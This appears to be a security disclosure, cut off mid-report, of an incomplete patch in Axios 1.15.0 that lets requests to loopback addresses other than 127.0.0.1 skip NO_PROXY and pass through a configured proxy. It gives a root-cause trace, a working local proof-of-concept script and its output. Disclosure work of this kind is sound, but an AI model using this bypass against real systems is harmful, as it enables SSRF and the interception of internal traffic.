As a result, an attacker who can influence the target URL of an Axios request can substitute 127.0.0.1 with any other address in the 127.0.0.0/8 range (e.g., 127.0.0.2, 127.0.0.100, 127.1.2.3) to completely bypass the NO_PROXY protection even in the fully patched Axios 1.15.0 release.

Verification
This bypass has been independently verified on:

• Axios version: 1.15.0 (latest patched release)
• Node.js version: v22.16.0
• OS: Kali Linux (rolling)

The Proof-of-Concept demonstrates that while localhost, localhost., and [::1] are correctly blocked by the patched version, requests to 127.0.0.2, 127.0.0.100, and 127.1.2.3 are transparently forwarded to the attacker-controlled proxy server, confirming that the patch does not cover the full RFC-defined loopback address space.

2. Deep-Dive: Technical Root Cause Analysis
2.1 Vulnerable File & Location

Field	Detail
File	lib/helpers/shouldBypassProxy.js
Primary Flaw	isLoopback() — Line 1–3
Supporting Function	shouldBypassProxy() — Line 59–110
Axios Version	1.15.0 (Latest Patched Release)

2.2 How Axios Routes HTTP Requests The Call Chain
When Axios dispatches any HTTP request, lib/adapters/http.js calls setProxy(), which invokes shouldBypassProxy() to decide whether to honour a configured proxy:

// lib/adapters/http.js — Lines 191–199
function setProxy(options, configProxy, location) {
  let proxy = configProxy;
  if (!proxy && proxy !== false) {
    const proxyUrl = getProxyForUrl(location);   // Step 1: Read proxy env var
    if (proxyUrl) {
      if (!shouldBypassProxy(location)) {         // Step 2: Check NO_PROXY
        proxy = new URL(proxyUrl);               // Step 3: Assign proxy
      }
    }
  }
}

shouldBypassProxy() is the single gatekeeper for NO_PROXY enforcement. A bypass here means all proxy protection fails silently.

2.3 The Original Vulnerability (GHSA-3p68-rc4w-qgx5)
Before Axios 1.15.0, hostnames were compared against NO_PROXY using a raw literal string match with no normalization:

Request URL → http://localhost./secret
NO_PROXY    → "localhost,127.0.0.1,::1"
Comparison:
  "localhost." === "localhost"   →  FALSE  →  Proxy used  ← BYPASS
  "[::1]"     === "::1"         →  FALSE  →  Proxy used  ← BYPASS

Both localhost. (FQDN trailing dot, RFC 1034 §3.1) and [::1] (bracketed IPv6 literal, RFC 3986 §3.2.2) are canonical representations of loopback addresses, but Axios treated them as unknown hosts.

2.4 What the Patch Fixed (Axios 1.15.0)
The patch introduced three changes inside lib/helpers/shouldBypassProxy.js:

Fix A normalizeNoProxyHost() (Lines 47–57)
Strips alternate representations before comparison:

const normalizeNoProxyHost = (hostname) => {
  if (!hostname) return hostname;
  // Remove IPv6 brackets: "[::1]" → "::1"
  if (hostname.charAt(0) === '[' && hostname.charAt(hostname.length - 1) === ']') {
    hostname = hostname.slice(1, -1);
  }
  // Strip trailing FQDN dot: "localhost." → "localhost"
  return hostname.replace(/\.+$/, '');
};

Fix B Cross-Loopback Equivalence (Lines 1–3 & 108)
Allows 127.0.0.1 and localhost to match each other interchangeably:

const LOOPBACK_ADDRESSES = new Set(['localhost', '127.0.0.1', '::1']);
const isLoopback = (host) => LOOPBACK_ADDRESSES.has(host);
// Line 108 — Final match condition:
return hostname === entryHost
    || (isLoopback(hostname) && isLoopback(entryHost));
//      ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
//      If both sides are "loopback" → treat as match

Fix C Normalization Applied on Both Sides (Lines 81 & 90)

// Request hostname normalized:
const hostname = normalizeNoProxyHost(parsed.hostname.toLowerCase());
// Each NO_PROXY entry normalized:
entryHost = normalizeNoProxyHost(entryHost);

2.5 The Incomplete Patch Exact Root Cause
The fundamental flaw resides in Line 1:

// lib/helpers/shouldBypassProxy.js — Line 1  ← ROOT CAUSE
const LOOPBACK_ADDRESSES = new Set(['localhost', '127.0.0.1', '::1']);
//                                              ^^^^^^^^^^^
//                              Only ONE IPv4 loopback address is recognized.
//                              The entire 127.0.0.0/8 subnet is unaccounted for.
// Line 3 — Lookup against this incomplete set:
const isLoopback = (host) => LOOPBACK_ADDRESSES.has(host);
//                                               ^^^^^^^^^
//                          Returns FALSE for any 127.x.x.x ≠ 127.0.0.1

*RFC 1122 §3.2.1.3 is unambiguous:

"The address 127.0.0.0/8 is assigned for loopback. A datagram sent by a higher-level protocol to a loopback address MUST NOT appear on any network."

This means all addresses from 127.0.0.1 through 127.255.255.254 are valid loopback addresses on any RFC-compliant operating system. On Linux, the entire /8 block is routed to the lo interface by default. The patch recognises only 127.0.0.1, leaving 16,777,213 valid loopback addresses unprotected.

2.6 Step-by-Step Bypass Execution Trace
Environment:

NO_PROXY   = "localhost,127.0.0.1,::1"
HTTP_PROXY = "http://attacker-proxy:5300"
Target URL = "http://127.0.0.2:9191/internal-api"

Annotated execution of shouldBypassProxy("http://127.0.0.2:9191/internal-api"):

// Step 1 — Parse the request URL
parsed   = new URL("http://127.0.0.2:9191/internal-api")
hostname = "127.0.0.2"    // parsed.hostname
// Step 2 — Read NO_PROXY environment variable
noProxy  = "localhost,127.0.0.1,::1"   // lowercased
// Step 3 — Normalize the request hostname
hostname = normalizeNoProxyHost("127.0.0.2")
//          No brackets → skip
//          No trailing dot → skip
//          Result: "127.0.0.2"  (unchanged)
// Step 4 — Iterate over NO_PROXY entries
//  Entry → "localhost"
entryHost = "localhost"
"127.0.0.2" === "localhost"                  → false
isLoopback("127.0.0.2")                      → false  ← Set.has() returns false
                                                          BYPASS starts here
//  Entry → "127.0.0.1"
entryHost = "127.0.0.1"
"127.0.0.2" === "127.0.0.1"                 → false
isLoopback("127.0.0.2") && isLoopback("127.0.0.1")
  → LOOPBACK_ADDRESSES.has("127.0.0.2")     → false  ← Same failure
  → false
//  Entry → "::1"
entryHost = "::1"
"127.0.0.2" === "::1"                        → false
isLoopback("127.0.0.2") && isLoopback("::1")
  → LOOPBACK_ADDRESSES.has("127.0.0.2")     → false  ← Same failure
  → false
// Step 5 — Final return
shouldBypassProxy() → false
//  Axios proceeds to route the request through the configured proxy.
//  The attacker's proxy server receives the full request including headers
//  and any response from the internal service.

2.7 Why the Patch Design Is Flawed
The patch addresses the symptom (two specific alternate representations) rather than the root cause (an incomplete definition of what constitutes a loopback address).

Aspect	Original Bug	This Finding
What was wrong	No normalization before comparison	Incomplete loopback address set
Fix applied	Added normalizeNoProxyHost()	None set remains hardcoded
RFC compliance	Violated RFC 1034 & RFC 3986	Violates RFC 1122 §3.2.1.3
Bypass method	Alternate string representation	Alternate valid loopback address
Impact	NO_PROXY bypass → SSRF	NO_PROXY bypass → SSRF (identical)

**2.8 Total Exposed Address Space**
Protected by patch:    127.0.0.1          (1 address)
Unprotected loopback:  127.0.0.2
                       through
                       127.255.255.254    (16,777,213 addresses)

Real-world services that commonly bind to non-standard loopback addresses include:

• Internal microservices and admin dashboards using dedicated loopback IPs
• Development environments with multiple isolated service instances
• Docker and container bridge network configurations
• Test infrastructure allocating sequential loopback IPs across services

3. Comprehensive Attack Vector & Proof of Concept

3.1 Reproduction Steps

Step 1 — Create a fresh project directory

mkdir axios-bypass-test && cd axios-bypass-test

Step 2 — Initialize the project with the patched Axios version
Create package.json:

{
  "type": "module",
  "dependencies": {
    "axios": "1.15.0"
  }
}

Install dependencies:

npm install

Verify the installed version:

npm list axios

##### Expected output: axios@1.15.0

Step 3 — Create the PoC file (poc.js)

import http from 'http';
import axios from 'axios';
// ── Simulated attacker-controlled proxy server ────────────────────────────────
const PROXY_PORT = 5300;
http.createServer((req, res) => {
  console.log('\n[!] PROXY HIT — Attacker proxy received request!');
  console.log(`    Method : ${req.method}`);
  console.log(`    URL    : ${req.url}`);
  console.log(`    Host   : ${req.headers.host}`);
  res.writeHead(200);
  res.end('proxied');
}).listen(PROXY_PORT);
// ── Simulated developer security configuration ────────────────────────────────
// Developer believes all loopback traffic is protected by NO_PROXY.
process.env.HTTP_PROXY = `http://127.0.0.1:${PROXY_PORT}`;
process.env.NO_PROXY   = 'localhost,127.0.0.1,::1';
// ── Test helper ───────────────────────────────────────────────────────────────
async function test(url) {
  console.log(`\n[*] Testing: ${url}`);
  try {
    const res = await axios.get(url, { timeout: 2000 });
    if (res.data === 'proxied') {
      console.log('    Result → [PROXIED]  ← BYPASS CONFIRMED');
    } else {
      console.log('    Result → [DIRECT]   ← Safe, no proxy used');
    }
  } catch (err) {
    if (err.code === 'ECONNREFUSED') {
      console.log('    Result → [DIRECT]   ← ECONNREFUSED (request did not go through proxy)');
    }
  }
}
// ── Test execution ────────────────────────────────────────────────────────────
setTimeout(async () => {
  // Section A: Cases fixed by the existing patch — expected to go DIRECT
  console.log('\n=== PATCHED CASES (Expected: All requests bypass the proxy) ===');
  await test('http://localhost:9191/secret');
  await test('http://localhost.:9191/secret');
  await test('http://[::1]:9191/secret');
  // Section B: Bypass cases — expected to go DIRECT, but actually go through proxy
  console.log('\n=== BYPASS CASES (Expected: bypass proxy | Actual: routed through proxy) ===');
  await test('http://127.0.0.2:9191/secret');
  await test('http://127.0.0.100:9191/secret');
  await test('http://127.1.2.3:9191/secret');
  process.exit(0);
}, 500);

Step 4 — Execute the PoC

node poc.js

3.2 Observed Output
The following output was captured during testing on Kali Linux with Axios 1.15.0:

=== PATCHED CASES (Expected: All requests bypass the proxy) ===
[*] Testing: http://localhost:9191/secret
    Result → [DIRECT]   ← ECONNREFUSED (request did not go through proxy)  
[*] Testing: http://localhost.:9191/secret
    Result → [DIRECT]   ← ECONNREFUSED (request did not go through proxy)  
[*] Testing: http://[::1]:9191/secret
    Result → [DIRECT]   ← ECONNREFUSED (request did not go through proxy)  
=== BYPASS CASES (Expected: bypass proxy | Actual: routed through proxy) ===
[*] Testing: http://127.0.0.2:9191/secret
[!] PROXY HIT — Attacker proxy received request!
    Method : GET
    URL    : http://127.0.0.2:9191/secret
    Host   : 127.0.0.2:9191
    Result → [PROXIED]  ← BYPASS CONFIRMED                                 
[*] Testing: http://127.0.0.100:9191/secret
[!] PROXY HIT — Attacker proxy received request!
    Method : GET
    URL    : http://127.0.0.100:9191/secret
    Host   : 127.0.0.100:9191
    Result → [PROXIED]  ← BYPASS CONFIRMED                                 
[*] Testing: http://127.1.2.3:9191/secret
[!] PROXY HIT — Attacker proxy received request!
    Method : GET
    URL    : http://127.1.2.3:9191/secret
    Host   : 127.1.2.3:9191
    Result → [PROXIED]  ← BYPASS CONFIRMED                                 

3.3 Analysis of Results
The output conclusively demonstrates the following:

Patched cases behave correctly: Requests to localhost, localhost. (trailing dot), and [::1] (bracketed IPv6) all result in a direct connection, confirming that the existing patch in Axios 1.15.0 correctly handles the cases reported in GHSA-3p68-rc4w-qgx5.

Bypass cases confirm the incomplete patch: Requests to 127.0.0.2, 127.0.0.100, and 127.1.2.3 all of which are valid loopback addresses within the 127.0.0.0/8 subnet as defined by RFC 1122 §3.2.1.3 are transparently forwarded to the attacker-controlled proxy server. The proxy receives the full request including the HTTP method, target URL, and Host header, demonstrating that any response from an internal service bound to these addresses would be fully intercepted.

This confirms that the NO_PROXY protection configured by the developer (localhost,127.0.0.1,::1) fails silently for the entire 127.0.0.0/8 address range beyond 127.0.0.1, providing a reproducible and reliable bypass of the security control introduced by the patch.

4. Impact Assessment
This vulnerability is a security control bypass specifically an incomplete patch that allows an attacker to circumvent the NO_PROXY protection mechanism in Axios by using any loopback addresses within the 127.0.0.0/8 subnet other than 127.0.0.1. The result is that traffic intended to remain private and direct is silently intercepted by a configured proxy server.

4.1 Who Is Impacted?

✂ Note

PR body was truncated to here.